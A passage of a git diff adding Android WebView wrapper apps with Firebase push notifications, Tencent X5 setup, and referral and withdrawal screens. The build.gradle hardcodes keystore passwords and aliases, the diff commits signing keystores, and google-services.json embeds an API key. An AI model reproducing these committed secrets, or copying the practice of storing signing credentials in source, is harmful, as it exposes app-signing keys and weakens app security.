Intent(this, MainActivity.class); + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.CUPCAKE) { + ComponentName launchComponent = null; + launchComponent = getApplication() + .getPackageManager() + .getLaunchIntentForPackage(getApplication().getPackageName()) + .getComponent(); + notifyIntent.setComponent(launchComponent); + } + notifyIntent.addFlags(Intent.FLAG_ACTIVITY_CLEAR_TOP | Intent.FLAG_ACTIVITY_SINGLE_TOP); + notifyIntent.setAction(Intent.ACTION_VIEW); + notifyIntent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK); // 必须 + notifyIntent.putExtra("message", messageInfo); + PendingIntent pendingIntent = PendingIntent.getActivity(this, new Random().nextInt(10000), notifyIntent, PendingIntent.FLAG_IMMUTABLE); + NotificationManager notificationManager = (NotificationManager) getSystemService(Context.NOTIFICATION_SERVICE); + NotificationChannel channelwinway = null; + NotificationCompat.Builder notificationBuilder = null; + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O) { + channelwinway = new NotificationChannel(getString(com.web.base.R.string.app_name), "notify", NotificationManager.IMPORTANCE_DEFAULT); + channelwinway.enableLights(true); + channelwinway.enableVibration(true); + notificationManager.createNotificationChannel(channelwinway); + notificationBuilder = new NotificationCompat.Builder(this, channelwinway.getId()) + .setSmallIcon(R.mipmap.app_logo) + .setContentTitle(messageInfo.getTitle()) + .setContentText(messageInfo.getContent()) + .setAutoCancel(true) + .setContentIntent(pendingIntent); + } else { + notificationBuilder = new NotificationCompat.Builder(this, getString(com.web.base.R.string.app_name)) + .setSmallIcon(R.mipmap.app_logo) + .setContentTitle(messageInfo.getTitle()) + .setContentText(messageInfo.getContent()) + .setAutoCancel(true) + .setContentIntent(pendingIntent); + } + notificationManager.notify(0, notificationBuilder.build()); + } + + private void showNotification(String title, String body) { + Intent notifyIntent = new Intent(this, MainActivity.class); + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.CUPCAKE) { + ComponentName launchComponent = null; + launchComponent = getApplication() + .getPackageManager() + .getLaunchIntentForPackage(getApplication().getPackageName()) + .getComponent(); + notifyIntent.setComponent(launchComponent); + } + notifyIntent.putExtra("message", body); + notifyIntent.addFlags(Intent.FLAG_ACTIVITY_CLEAR_TOP | Intent.FLAG_ACTIVITY_SINGLE_TOP); + notifyIntent.setAction(Intent.ACTION_VIEW); + notifyIntent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK); // 必须 + PendingIntent pendingIntent = PendingIntent.getActivity(this, new Random().nextInt(10000), notifyIntent, PendingIntent.FLAG_IMMUTABLE); + NotificationManager notificationManager = (NotificationManager) getSystemService(Context.NOTIFICATION_SERVICE); + NotificationChannel channelwinway = null; + NotificationCompat.Builder notificationBuilder = null; + MessageInfo messageInfo = GsonUtils.getObjFromJSON(body, MessageInfo.class); + if (messageInfo != null) { + body = messageInfo.getContent(); + } + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O) { + channelwinway = new NotificationChannel(getString(com.web.base.R.string.app_name), "notify", NotificationManager.IMPORTANCE_DEFAULT); + channelwinway.enableLights(true); + channelwinway.enableVibration(true); + notificationManager.createNotificationChannel(channelwinway); + notificationBuilder = new NotificationCompat.Builder(this, channelwinway.getId()) + .setSmallIcon(R.mipmap.app_logo) + .setContentTitle(title) + .setContentText(body) + .setAutoCancel(true) + .setContentIntent(pendingIntent); + } else { + notificationBuilder = new NotificationCompat.Builder(this, getString(com.web.base.R.string.app_name)) + .setSmallIcon(R.mipmap.app_logo) + .setContentTitle(title) + .setContentText(body) + .setAutoCancel(true) + .setContentIntent(pendingIntent); + } + notificationManager.notify(0, notificationBuilder.build()); + } +} diff --git a/mudahking/src/main/java/com/xyz/mk/WebApplication.java b/mudahking/src/main/java/com/xyz/mk/WebApplication.java new file mode 100644 index 0000000..73a482f --- /dev/null +++ b/mudahking/src/main/java/com/xyz/mk/WebApplication.java @@ -0,0 +1,35 @@ +package com.xyz.mk; + +import android.app.Application; +import android.content.Context; +import com.tencent.smtt.export.external.TbsCoreSettings; +import com.tencent.smtt.sdk.QbSdk; +import java.util.HashMap; + +public class WebApplication extends Application { + + + public static Context application; + @Override + public void onCreate() { + super.onCreate(); +// 设置开启优化方案 + application = this; + HashMap map = new HashMap(); + map.put(TbsCoreSettings.TBS_SETTINGS_USE_SPEEDY_CLASSLOADER, true); + map.put(TbsCoreSettings.TBS_SETTINGS_USE_DEXLOADER_SERVICE, true); + QbSdk.initTbsSettings(map); + QbSdk.initX5Environment(this, new QbSdk.PreInitCallback() { + @Override + public void onCoreInitFinished() { + + } + + @Override + public void onViewInitFinished(boolean b) { + + } + }); + QbSdk.setDownloadWithoutWifi(true); + } +} diff --git a/mycuci/.gitignore b/mycuci/.gitignore new file mode 100644 index 0000000..956c004 --- /dev/null +++ b/mycuci/.gitignore @@ -0,0 +1,2 @@ +/build +/release \ No newline at end of file diff --git a/mycuci/build.gradle b/mycuci/build.gradle new file mode 100644 index 0000000..2a7f4e6 --- /dev/null +++ b/mycuci/build.gradle @@ -0,0 +1,78 @@ +plugins { + id 'com.android.application' + id 'com.google.gms.google-services' +} + +android { + compileSdkVersion 31 + buildToolsVersion "30.0.3" + defaultConfig { + applicationId "com.web.mycuci" + minSdkVersion 24 + targetSdkVersion 31 + versionCode rootProject.ext.versionCode + versionName rootProject.ext.versionName + testInstrumentationRunner "androidx.test.runner.AndroidJUnitRunner" + } + + signingConfigs { + debug { + storeFile file('dskjweb.jks') + storePassword "dskj2024" + keyAlias 'dskjalias' + keyPassword "dskj2024" + } + release { + storeFile file('dskjweb.jks') + storePassword "dskj2024" + keyAlias 'dskjalias' + keyPassword "dskj2024" + } + } + + buildTypes { + release { + signingConfig signingConfigs.release + minifyEnabled false + proguardFiles getDefaultProguardFile('proguard-android-optimize.txt'), 'proguard-rules.pro' + } + } + compileOptions { + sourceCompatibility JavaVersion.VERSION_1_8 + targetCompatibility JavaVersion.VERSION_1_8 + } + + applicationVariants.all { variant -> + variant.outputs.all { + def appName = "mycuci" + def outputDir = new File(rootProject.ext.outputPath) + // 创建输出目录 + outputDir.mkdirs() + def outputFileName = "${appName}.apk" + // 设置输出文件名 + setOutputFileName(outputFileName) + // 计算新的输出文件 + def newOutputFile = new File(outputDir, outputFileName) + // 如果新的输出目录不存在,则创建它 + newOutputFile.parentFile.mkdirs() + // 在构建完成后将 APK 复制到新位置 + variant.assemble.doLast { + try { + java.nio.file.Files.copy( + outputFile.toPath(), + newOutputFile.toPath(), + java.nio.file.StandardCopyOption.REPLACE_EXISTING + ) + println "Success to copy APK !!!" + } catch (java.io.IOException e) { + println "Failed to copy APK: ${e.message}" + } + } + } + } + +} + +dependencies { + implementation project(path: ':base_no_music') +} \ No newline at end of file diff --git a/mycuci/dskjweb.jks b/mycuci/dskjweb.jks new file mode 100644 index 0000000..a303350 Binary files /dev/null and b/mycuci/dskjweb.jks differ diff --git a/mycuci/google-services.json b/mycuci/google-services.json new file mode 100644 index 0000000..191038a --- /dev/null +++ b/mycuci/google-services.json @@ -0,0 +1,29 @@ +{ + "project_info": { + "project_number": "137416850147", + "project_id": "mycuci-33d36", + "storage_bucket": "mycuci-33d36.firebasestorage.app" + }, + "client": [ + { + "client_info": { + "mobilesdk_app_id": "1:137416850147:android:69935c654b7363a50f23d6", + "android_client_info": { + "package_name": "com.web.mycuci" + } + }, + "oauth_client": [], + "api_key": [ + { + "current_key": "AIzaSyCWf0uDsrXGltjUgPpZwyHWJRQ0TEzeKbY" + } + ], + "services": { + "appinvite_service": { + "other_platform_oauth_client": [] + } + } + } + ], + "configuration_version": "1" +} \ No newline at end of file diff --git a/mycuci/ppn.jks b/mycuci/ppn.jks new file mode 100644 index 0000000..5898029 Binary files /dev/null and b/mycuci/ppn.jks differ diff --git a/mycuci/proguard-rules.pro b/mycuci/proguard-rules.pro new file mode 100644 index 0000000..107b7ee --- /dev/null +++ b/mycuci/proguard-rules.pro @@ -0,0 +1,32 @@ +# Add project specific ProGuard rules here. +# You can control the set of applied configuration files using the +# proguardFiles setting in build.gradle. +# +# For more details, see +# http://developer.android.com/guide/developing/tools/proguard.html + +# If your project uses WebView with JS, uncomment the following +# and specify the fully qualified class name to the JavaScript interface +# class: +#-keepclassmembers class fqcn.of.javascript.interface.for.webview { +# public *; +#} + +# Uncomment this to preserve the line number information for +# debugging stack traces. +#-keepattributes SourceFile,LineNumberTable + +# If you keep the line number information, uncomment this to +# hide the original source file name. +#-renamesourcefileattribute SourceFile + +-dontwarn dalvik.** +-dontwarn com.tencent.smtt.** + +-keep class com.tencent.smtt.** { + *; +} + +-keep class com.tencent.tbs.** { + *; +} \ No newline at end of file diff --git a/mycuci/src/androidTest/java/Tptogiar/calculcator/ExampleInstrumentedTest.java b/mycuci/src/androidTest/java/Tptogiar/calculcator/ExampleInstrumentedTest.java new file mode 100644 index 0000000..44b9f39 --- /dev/null +++ b/mycuci/src/androidTest/java/Tptogiar/calculcator/ExampleInstrumentedTest.java @@ -0,0 +1,26 @@ +package Tptogiar.calculcator; + +import android.content.Context; + +import androidx.test.platform.app.InstrumentationRegistry; +import androidx.test.ext.junit.runners.AndroidJUnit4; + +import org.junit.Test; +import org.junit.runner.RunWith; + +import static org.junit.Assert.*; + +/** + * Instrumented test, which will execute on an Android device. + * + * @see Testing documentation + */ +@RunWith(AndroidJUnit4.class) +public class ExampleInstrumentedTest { + @Test + public void useAppContext() { + // Context of the app under test. + Context appContext = InstrumentationRegistry.getInstrumentation().getTargetContext(); + assertEquals("Tptogiar.calculcator", appContext.getPackageName()); + } +} \ No newline at end of file diff --git a/mycuci/src/main/AndroidManifest.xml b/mycuci/src/main/AndroidManifest.xml new file mode 100644 index 0000000..c868b85 --- /dev/null +++ b/mycuci/src/main/AndroidManifest.xml @@ -0,0 +1,112 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/mycuci/src/main/java/com/web/mycuci/MainActivity.java b/mycuci/src/main/java/com/web/mycuci/MainActivity.java new file mode 100644 index 0000000..1abc559 --- /dev/null +++ b/mycuci/src/main/java/com/web/mycuci/MainActivity.java @@ -0,0 +1,63 @@ +package com.web.mycuci; + + +import android.content.pm.PackageInfo; +import android.content.pm.PackageManager; +import android.graphics.Color; +import android.os.Bundle; + +import androidx.annotation.NonNull; + +import com.bumptech.glide.Glide; +import com.google.android.gms.tasks.OnCompleteListener; +import com.google.android.gms.tasks.Task; +import com.web.base.LogUtils; +import com.web.base.MainActivity2; +import com.google.firebase.messaging.FirebaseMessaging; + +public class MainActivity extends MainActivity2 { + + @Override + protected void onCreate(Bundle savedInstanceState) { + userId = 201; + saveInt(MainActivity.this,"user_code",userId); + saveInt(MainActivity.this,"version_code",getVersion()); + com.web.base.MainActivity.saveString(this, "base_url","https://www.mycuci5.com/"); + //网页的底部NavigationBar颜色 + com.web.base.MainActivity.saveString(this, "style_color", "#ffffff"); + //页面的大背景颜色 + com.web.base.MainActivity.saveString(this, "windows_color", "#ffffff"); + //任务栏的文字颜色 0 黑 1白 默认黑 + saveInt(MainActivity.this,"is_white",0); + super.onCreate(savedInstanceState); + //用于修改大背景渐变色 不设置 大背景就是 windows_color 的颜色 + setBackDrawables(R.drawable.big_bg); + setImageView(false); +// showTopV1.setImageResource(R.mipmap.start_gifs); + //订阅主题 + FirebaseMessaging.getInstance().subscribeToTopic("demo") + .addOnCompleteListener(new OnCompleteListener() { + @Override + public void onComplete(@NonNull Task task) { + String msg = "Subscribed"; + if (!task.isSuccessful()) { + msg = "Subscribe failed"; + } + LogUtils.i("结果:"+msg); + } + }); +// getWindow().getDecorView().setBackgroundResource(Color.parseColor("#01052a")); +// Glide.with(MainActivity.this).load(R.mipmap.load_img).into(showTopV1); + } + + public int getVersion(){ + try { + PackageManager packageManager = getPackageManager(); + PackageInfo packageInfo = packageManager.getPackageInfo(getPackageName(), 0); + int versionCode = packageInfo.versionCode; // 版本码 + return versionCode; + } catch (PackageManager.NameNotFoundException e) { + return 0; + } + } +} diff --git a/mycuci/src/main/java/com/web/mycuci/MyFirebaseMessageingService.java b/mycuci/src/main/java/com/web/mycuci/MyFirebaseMessageingService.java new file mode 100644 index 0000000..5ebce25 --- /dev/null +++ b/mycuci/src/main/java/com/web/mycuci/MyFirebaseMessageingService.java @@ -0,0 +1,125 @@ +package com.web.mycuci; + +import android.app.NotificationChannel; +import android.app.NotificationManager; +import android.app.PendingIntent; +import android.content.ComponentName; +import android.content.Context; +import android.content.Intent; +import android.os.Build; +import androidx.annotation.NonNull; +import androidx.core.app.NotificationCompat; +import com.google.firebase.messaging.FirebaseMessagingService; +import com.google.firebase.messaging.RemoteMessage; +import com.google.gson.Gson; +import com.web.base.GsonUtils; +import com.web.base.MessageInfo; +import java.util.Map; +import java.util.Random; + +public class MyFirebaseMessageingService extends FirebaseMessagingService { + + public MyFirebaseMessageingService() { + } + + @Override + public void onMessageReceived(@NonNull RemoteMessage remoteMessage) { + super.onMessageReceived(remoteMessage); + Map serviceData = remoteMessage.getData(); //后台推送数据 + if (serviceData != null && serviceData.containsKey("message")) { + String value = serviceData.get("message"); + Gson gson = new Gson(); + MessageInfo messageInfo = gson.fromJson(value, MessageInfo.class); + showNotification(messageInfo); + } else { + //收到通知 创建notify + if (remoteMessage.getNotification() != null) { + showNotification(remoteMessage.getNotification().getTitle(), remoteMessage.getNotification().getBody()); + } + } + } + + private void showNotification(MessageInfo messageInfo) { + Intent notifyIntent = new Intent(this, MainActivity.class); + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.CUPCAKE) { + ComponentName launchComponent = null; + launchComponent = getApplication() + .getPackageManager() + .getLaunchIntentForPackage(getApplication().getPackageName()) + .getComponent(); + notifyIntent.setComponent(launchComponent); + } + notifyIntent.addFlags(Intent.FLAG_ACTIVITY_CLEAR_TOP | Intent.FLAG_ACTIVITY_SINGLE_TOP); + notifyIntent.setAction(Intent.ACTION_VIEW); + notifyIntent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK); // 必须 + notifyIntent.putExtra("message", messageInfo); + PendingIntent pendingIntent = PendingIntent.getActivity(this, new Random().nextInt(10000), notifyIntent, PendingIntent.FLAG_IMMUTABLE); + NotificationManager notificationManager = (NotificationManager) getSystemService(Context.NOTIFICATION_SERVICE); + NotificationChannel channelwinway = null; + NotificationCompat.Builder notificationBuilder = null; + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O) { + channelwinway = new NotificationChannel(getString(com.web.base.R.string.app_name), "notify", NotificationManager.IMPORTANCE_DEFAULT); + channelwinway.enableLights(true); + channelwinway.enableVibration(true); + notificationManager.createNotificationChannel(channelwinway); + notificationBuilder = new NotificationCompat.Builder(this, channelwinway.getId()) + .setSmallIcon(R.mipmap.app_logo) + .setContentTitle(messageInfo.getTitle()) + .setContentText(messageInfo.getContent()) + .setAutoCancel(true) + .setContentIntent(pendingIntent); + } else { + notificationBuilder = new NotificationCompat.Builder(this, getString(com.web.base.R.string.app_name)) + .setSmallIcon(R.mipmap.app_logo) + .setContentTitle(messageInfo.getTitle()) + .setContentText(messageInfo.getContent()) + .setAutoCancel(true) + .setContentIntent(pendingIntent); + } + notificationManager.notify(0, notificationBuilder.build()); + } + + private void showNotification(String title, String body) { + Intent notifyIntent = new Intent(this, MainActivity.class); + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.CUPCAKE) { + ComponentName launchComponent = null; + launchComponent = getApplication() + .getPackageManager() + .getLaunchIntentForPackage(getApplication().getPackageName()) + .getComponent(); + notifyIntent.setComponent(launchComponent); + } + notifyIntent.putExtra("message", body); + notifyIntent.addFlags(Intent.FLAG_ACTIVITY_CLEAR_TOP | Intent.FLAG_ACTIVITY_SINGLE_TOP); + notifyIntent.setAction(Intent.ACTION_VIEW); + notifyIntent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK); // 必须 + PendingIntent pendingIntent = PendingIntent.getActivity(this, new Random().nextInt(10000), notifyIntent, PendingIntent.FLAG_IMMUTABLE); + NotificationManager notificationManager = (NotificationManager) getSystemService(Context.NOTIFICATION_SERVICE); + NotificationChannel channelwinway = null; + NotificationCompat.Builder notificationBuilder = null; + MessageInfo messageInfo = GsonUtils.getObjFromJSON(body, MessageInfo.class); + if (messageInfo != null) { + body = messageInfo.getContent(); + } + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O) { + channelwinway = new NotificationChannel(getString(com.web.base.R.string.app_name), "notify", NotificationManager.IMPORTANCE_DEFAULT); + channelwinway.enableLights(true); + channelwinway.enableVibration(true); + notificationManager.createNotificationChannel(channelwinway); + notificationBuilder = new NotificationCompat.Builder(this, channelwinway.getId()) + .setSmallIcon(R.mipmap.app_logo) + .setContentTitle(title) + .setContentText(body) + .setAutoCancel(true) + .setContentIntent(pendingIntent); + } else { + notificationBuilder = new NotificationCompat.Builder(this, getString(com.web.base.R.string.app_name)) + .setSmallIcon(R.mipmap.app_logo) + .setContentTitle(title) + .setContentText(body) + .setAutoCancel(true) + .setContentIntent(pendingIntent); + } + notificationManager.notify(0, notificationBuilder.build()); + } +} diff --git a/mycuci/src/main/java/com/web/mycuci/WebApplication.java b/mycuci/src/main/java/com/web/mycuci/WebApplication.java new file mode 100644 index 0000000..c9bebe0 --- /dev/null +++ b/mycuci/src/main/java/com/web/mycuci/WebApplication.java @@ -0,0 +1,35 @@ +package com.web.mycuci; + +import android.app.Application; +import android.content.Context; +import com.tencent.smtt.export.external.TbsCoreSettings; +import com.tencent.smtt.sdk.QbSdk; +import java.util.HashMap; + +public class WebApplication extends Application { + + + public static Context application; + @Override + public void onCreate() { + super.onCreate(); +// 设置开启优化方案 + application = this; + HashMap map = new HashMap(); + map.put(TbsCoreSettings.TBS_SETTINGS_USE_SPEEDY_CLASSLOADER, true); + map.put(TbsCoreSettings.TBS_SETTINGS_USE_DEXLOADER_SERVICE, true); + QbSdk.initTbsSettings(map); + QbSdk.initX5Environment(this, new QbSdk.PreInitCallback() { + @Override + public void onCoreInitFinished() { + + } + + @Override + public void onViewInitFinished(boolean b) { + + } + }); + QbSdk.setDownloadWithoutWifi(true); + } +} diff --git a/mycuci/src/main/res/drawable-anydpi/ic_action_back.xml b/mycuci/src/main/res/drawable-anydpi/ic_action_back.xml new file mode 100644 index 0000000..013ab07 --- /dev/null +++ b/mycuci/src/main/res/drawable-anydpi/ic_action_back.xml @@ -0,0 +1,11 @@ + + + diff --git a/mycuci/src/main/res/drawable-hdpi/ic_action_back.png b/mycuci/src/main/res/drawable-hdpi/ic_action_back.png new file mode 100644 index 0000000..1560c04 Binary files /dev/null and b/mycuci/src/main/res/drawable-hdpi/ic_action_back.png differ diff --git a/mycuci/src/main/res/drawable-mdpi/ic_action_back.png b/mycuci/src/main/res/drawable-mdpi/ic_action_back.png new file mode 100644 index 0000000..d5841d2 Binary files /dev/null and b/mycuci/src/main/res/drawable-mdpi/ic_action_back.png differ diff --git a/mycuci/src/main/res/drawable-v24/ic_launcher_foreground.xml b/mycuci/src/main/res/drawable-v24/ic_launcher_foreground.xml new file mode 100644 index 0000000..2b068d1 --- /dev/null +++ b/mycuci/src/main/res/drawable-v24/ic_launcher_foreground.xml @@ -0,0 +1,30 @@ + + + + + + + + + + + \ No newline at end of file diff --git a/mycuci/src/main/res/drawable-xhdpi/ic_action_back.png b/mycuci/src/main/res/drawable-xhdpi/ic_action_back.png new file mode 100644 index 0000000..5c14e41 Binary files /dev/null and b/mycuci/src/main/res/drawable-xhdpi/ic_action_back.png differ diff --git a/mycuci/src/main/res/drawable-xxhdpi/ic_action_back.png b/mycuci/src/main/res/drawable-xxhdpi/ic_action_back.png new file mode 100644 index 0000000..0516d08 Binary files /dev/null and b/mycuci/src/main/res/drawable-xxhdpi/ic_action_back.png differ diff --git a/mycuci/src/main/res/drawable/big_bg.xml b/mycuci/src/main/res/drawable/big_bg.xml new file mode 100644 index 0000000..c6bc371 --- /dev/null +++ b/mycuci/src/main/res/drawable/big_bg.xml @@ -0,0 +1,8 @@ + + + + \ No newline at end of file diff --git a/mycuci/src/main/res/drawable/ic_launcher_background.xml b/mycuci/src/main/res/drawable/ic_launcher_background.xml new file mode 100644 index 0000000..07d5da9 --- /dev/null +++ b/mycuci/src/main/res/drawable/ic_launcher_background.xml @@ -0,0 +1,170 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/mycuci/src/main/res/drawable/input_bg.xml b/mycuci/src/main/res/drawable/input_bg.xml new file mode 100644 index 0000000..4e895aa --- /dev/null +++ b/mycuci/src/main/res/drawable/input_bg.xml @@ -0,0 +1,20 @@ + + + + + + + + + + + + + + + + + + diff --git a/mycuci/src/main/res/drawable/pass_word_bg.xml b/mycuci/src/main/res/drawable/pass_word_bg.xml new file mode 100644 index 0000000..2724e60 --- /dev/null +++ b/mycuci/src/main/res/drawable/pass_word_bg.xml @@ -0,0 +1,28 @@ + + + + + + + + + + + + + + + + + + diff --git a/mycuci/src/main/res/drawable/pass_word_bg1.xml b/mycuci/src/main/res/drawable/pass_word_bg1.xml new file mode 100644 index 0000000..d10d780 --- /dev/null +++ b/mycuci/src/main/res/drawable/pass_word_bg1.xml @@ -0,0 +1,23 @@ + + + + + + \ No newline at end of file diff --git a/mycuci/src/main/res/drawable/pass_word_bg2.xml b/mycuci/src/main/res/drawable/pass_word_bg2.xml new file mode 100644 index 0000000..916d99c --- /dev/null +++ b/mycuci/src/main/res/drawable/pass_word_bg2.xml @@ -0,0 +1,23 @@ + + + + + + \ No newline at end of file diff --git a/mycuci/src/main/res/drawable/shape_btn_bg.xml b/mycuci/src/main/res/drawable/shape_btn_bg.xml new file mode 100644 index 0000000..af87a0d --- /dev/null +++ b/mycuci/src/main/res/drawable/shape_btn_bg.xml @@ -0,0 +1,5 @@ + + + + + \ No newline at end of file diff --git a/mycuci/src/main/res/drawable/shape_dialog_bg2.xml b/mycuci/src/main/res/drawable/shape_dialog_bg2.xml new file mode 100644 index 0000000..7837a42 --- /dev/null +++ b/mycuci/src/main/res/drawable/shape_dialog_bg2.xml @@ -0,0 +1,6 @@ + + + + + \ No newline at end of file diff --git a/mycuci/src/main/res/drawable/shape_dialog_bg3.xml b/mycuci/src/main/res/drawable/shape_dialog_bg3.xml new file mode 100644 index 0000000..ca0a18d --- /dev/null +++ b/mycuci/src/main/res/drawable/shape_dialog_bg3.xml @@ -0,0 +1,5 @@ + + + + + \ No newline at end of file diff --git a/mycuci/src/main/res/drawable/shape_dialog_bg_new.xml b/mycuci/src/main/res/drawable/shape_dialog_bg_new.xml new file mode 100644 index 0000000..e96d4e0 --- /dev/null +++ b/mycuci/src/main/res/drawable/shape_dialog_bg_new.xml @@ -0,0 +1,5 @@ + + + + + \ No newline at end of file diff --git a/mycuci/src/main/res/mipmap-anydpi-v26/ic_launcher.xml b/mycuci/src/main/res/mipmap-anydpi-v26/ic_launcher.xml new file mode 100644 index 0000000..eca70cf --- /dev/null +++ b/mycuci/src/main/res/mipmap-anydpi-v26/ic_launcher.xml @@ -0,0 +1,5 @@ + + + + + \ No newline at end of file diff --git a/mycuci/src/main/res/mipmap-anydpi-v26/ic_launcher_round.xml b/mycuci/src/main/res/mipmap-anydpi-v26/ic_launcher_round.xml new file mode 100644 index 0000000..eca70cf --- /dev/null +++ b/mycuci/src/main/res/mipmap-anydpi-v26/ic_launcher_round.xml @@ -0,0 +1,5 @@ + + + + + \ No newline at end of file diff --git a/mycuci/src/main/res/mipmap-hdpi/ic_empty.png b/mycuci/src/main/res/mipmap-hdpi/ic_empty.png new file mode 100644 index 0000000..72473d6 Binary files /dev/null and b/mycuci/src/main/res/mipmap-hdpi/ic_empty.png differ diff --git a/mycuci/src/main/res/mipmap-hdpi/ic_pull_down.png b/mycuci/src/main/res/mipmap-hdpi/ic_pull_down.png new file mode 100644 index 0000000..7dc0ec3 Binary files /dev/null and b/mycuci/src/main/res/mipmap-hdpi/ic_pull_down.png differ diff --git a/mycuci/src/main/res/mipmap-xhdpi/ic_close.png b/mycuci/src/main/res/mipmap-xhdpi/ic_close.png new file mode 100644 index 0000000..c0b0127 Binary files /dev/null and b/mycuci/src/main/res/mipmap-xhdpi/ic_close.png differ diff --git a/mycuci/src/main/res/mipmap-xhdpi/ic_menu.png b/mycuci/src/main/res/mipmap-xhdpi/ic_menu.png new file mode 100644 index 0000000..2b55ec5 Binary files /dev/null and b/mycuci/src/main/res/mipmap-xhdpi/ic_menu.png differ diff --git a/mycuci/src/main/res/mipmap-xxhdpi/app_logo.png b/mycuci/src/main/res/mipmap-xxhdpi/app_logo.png new file mode 100644 index 0000000..f5a3a6e Binary files /dev/null and b/mycuci/src/main/res/mipmap-xxhdpi/app_logo.png differ diff --git a/mycuci/src/main/res/values-en/strings.xml b/mycuci/src/main/res/values-en/strings.xml new file mode 100644 index 0000000..0d60963 --- /dev/null +++ b/mycuci/src/main/res/values-en/strings.xml @@ -0,0 +1,51 @@ + + Please Set Your Password + Cancel + Sure + New Version Update + Next Update + Update Immediately + Click to close notification + Click to re-download + Download failed + Click to install + Download completed + Downloading... + Version update + Downloading game + Getting download data... + Version update + Downloading game + Need to turn on mobile phone notification permission + Exit + Setting + Tip + Please enter the invitation code + My invitation code: + Superior invitation code: + Total number of invites: + App download link: + Share + Check Invitation Records + Invitation Records + Total number of invitees: %d + No Data + Withdrawal Record + Withdrawal Application + Edit Bank Card Information + 60 + Name: + Please enter the bank card name + Bank card account: + Please enter the bank card account + Country: + Please select a country + Bank Name: + Please select a bank name + Note: Please enter the country code before selecting the bank name! + Balance: %s + Total Earnings: %s + Amount: %s + Please enter the withdrawal amount + Withdrawal application has been submitted + \ No newline at end of file diff --git a/mycuci/src/main/res/values-night/themes.xml b/mycuci/src/main/res/values-night/themes.xml new file mode 100644 index 0000000..89e12d2 --- /dev/null +++ b/mycuci/src/main/res/values-night/themes.xml @@ -0,0 +1,70 @@ + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/mycuci/src/main/res/values/colors.xml b/mycuci/src/main/res/values/colors.xml new file mode 100644 index 0000000..825973a --- /dev/null +++ b/mycuci/src/main/res/values/colors.xml @@ -0,0 +1,18 @@ + + + #FFFFFF + #FFFFFF + #FFFFFF + #FF03DAC5 + #FF018786 + #FF000000 + #FFFFFFFF + #EF4723 + #FFFFFFFF + #ffffff + #2C2C2E + #FFA722 + #434343 + #BCBCBC + + \ No newline at end of file diff --git a/mycuci/src/main/res/values/strings.xml b/mycuci/src/main/res/values/strings.xml new file mode 100644 index 0000000..cf51a86 --- /dev/null +++ b/mycuci/src/main/res/values/strings.xml @@ -0,0 +1,74 @@ + + Mycuci + 请输入6位密码 + 取消 + 确定 + 版本更新 + 下次更新 + 立即更新 + 点击关闭通知 + 点击重新下载 + 下载失败 + 点击安装 + 下载完成 + 正在下载… + 版本更新 + 下载游戏中 + 版本更新 + 下载游戏中 + 正在获取下载数据… + 需要打开手机通知权限 + 退出 + 设置 + 提示 + 请输入邀请码 + 我的邀请码: + 上级邀请码: + 总邀请人数: + 邀请您下载: + 分享 + 查看邀请记录 + 邀请记录 + 总邀请人数: %d + 暂无数据 + 提现记录 + 提现申请 + 编辑银行卡信息 + 86 + 持卡人姓名: + 请输入持卡人姓名 + 国家地区: + 请选择国家地区 + 开户行名称: + 请选择开户行名称 + 银行户口: + 请输入银行卡户口 + (注:请先输入国家区号再选择开户行名称!) + 余额: %s + 总收益: %s + 金额: %s + 请输入提现金额 + 提现申请已提交 + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/mycuci/src/main/res/values/themes.xml b/mycuci/src/main/res/values/themes.xml new file mode 100644 index 0000000..efa2168 --- /dev/null +++ b/mycuci/src/main/res/values/themes.xml @@ -0,0 +1,90 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/mycuci/src/main/res/xml/app_updater_paths.xml b/mycuci/src/main/res/xml/app_updater_paths.xml new file mode 100644 index 0000000..1254450 --- /dev/null +++ b/mycuci/src/main/res/xml/app_updater_paths.xml @@ -0,0 +1,10 @@ + + + + + + + + + + \ No newline at end of file diff --git a/mycuci/src/main/res/xml/network_security_config.xml b/mycuci/src/main/res/xml/network_security_config.xml new file mode 100644 index 0000000..dca93c0 --- /dev/null +++ b/mycuci/src/main/res/xml/network_security_config.xml @@ -0,0 +1,4 @@ + + + + \ No newline at end of file diff --git a/mycuci/src/main/res/xml/provider_paths.xml b/mycuci/src/main/res/xml/provider_paths.xml new file mode 100644 index 0000000..c9a897a --- /dev/null +++ b/mycuci/src/main/res/xml/provider_paths.xml @@ -0,0 +1,13 @@ + + + + + + + + + + + + \ No newline at end of file diff --git a/mycuci/src/test/java/Tptogiar/calculcator/ExampleUnitTest.java b/mycuci/src/test/java/Tptogiar/calculcator/ExampleUnitTest.java new file mode 100644 index 0000000..3259554 --- /dev/null +++ b/mycuci/src/test/java/Tptogiar/calculcator/ExampleUnitTest.java @@ -0,0 +1,35 @@ +package Tptogiar.calculcator; + +import org.junit.Test; + +import java.util.regex.Matcher; +import java.util.regex.Pattern; + +import static org.junit.Assert.*; + +/** + * Example local unit test, which will execute on the development machine (host). + * + * @see Testing documentation + */ +public class ExampleUnitTest { + @Test + public void addition_isCorrect() { + assertEquals(4, 2 + 2); + } + + @Test + public void TestPattern(){ +// + Pattern compile = Pattern.compile( "^(\\-|\\+)?\\d+(\\.\\d+)?$"); + String a="+45.5"; + boolean matches = compile.matcher(a).matches(); + System.out.println(matches); + String result = compile.matcher(a).replaceAll(""); + System.out.println(result); + + + } + + +} \ No newline at end of file diff --git a/nep88/build.gradle b/nep88/build.gradle index 5881242..c2b75d8 100644 --- a/nep88/build.gradle +++ b/nep88/build.gradle @@ -17,16 +17,16 @@ android 